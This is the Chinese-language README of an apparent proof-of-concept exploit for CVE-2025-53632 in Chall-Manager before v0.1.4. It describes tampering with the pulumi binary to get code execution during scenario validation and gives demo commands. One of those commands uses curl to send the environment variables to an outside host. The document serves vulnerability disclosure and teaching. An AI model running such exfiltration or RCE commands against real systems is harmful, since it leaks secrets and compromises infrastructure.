此仓库包含一个针对 CVE-2025-53632 的利用,影响 Chall-Manager < v0.1.4 版本。 受影响的版本显然已过时,很可能无人使用,因此我相信当前不存在恶意利用的可能性。
此仓库并非授予您攻击任何人的权利,而是用于教育目的。
[!WARNING] Chall-Manager 处理场景的方式仍完全可被利用,无需 zip slip:只需篡改场景中的
pulumi二进制文件,使得下一次执行时运行您的任意代码。
我们演示针对 Chall-Manager v0.1.3 的攻击。
假设有一个暴露的 Chall-Manager(请不要这样做,因为它本意并非如此——它是一个按需 RCE 应用)。
创建挑战时,场景通过 Pulumi 预览进行验证。对此代码没有控制权,因此我们可以注入任何内容。
为此,Chall-Manager 使用 Pulumi 的 auto API,该 API 会执行 Pulumi 二进制文件。它没有使用绝对路径执行,而是期望其在 /pulumi/bin/pulumi($PATH 以 /pulumi/bin 开头)。
利用这些信息,我们将在执行前注入一些 shell 代码来篡改 pulumi 程序。由于场景随后会被验证,篡改后的 pulumi 程序将被执行,从而运行脚本。
通过此脚本,你现在可以打开一个反向 shell,在基础设施或容器内进行横向移动,泄露机密(例如环境变量中的内容)甚至挑战内容(例如如果某个场景未预构建,则泄露挑战标志)。
运行此利用演示,你需要:
运行 chall-manager。
docker run --name chall-manager -d -p 8080:8080 ctferio/chall-manager:v0.1.3
运行 main.go
go run main.go --url localhost:8080
发挥你的创意编写脚本!例如,你可以将系统信息发送给第三方...
go run main.go --url localhost:8080 --script 'curl -d "$(env)" https://app.beeceptor.com/console/cve-2025-53632'
完成后你可以停止演示的 Chall-Manager Docker 容器。
docker stop chall-manager && docker rm $_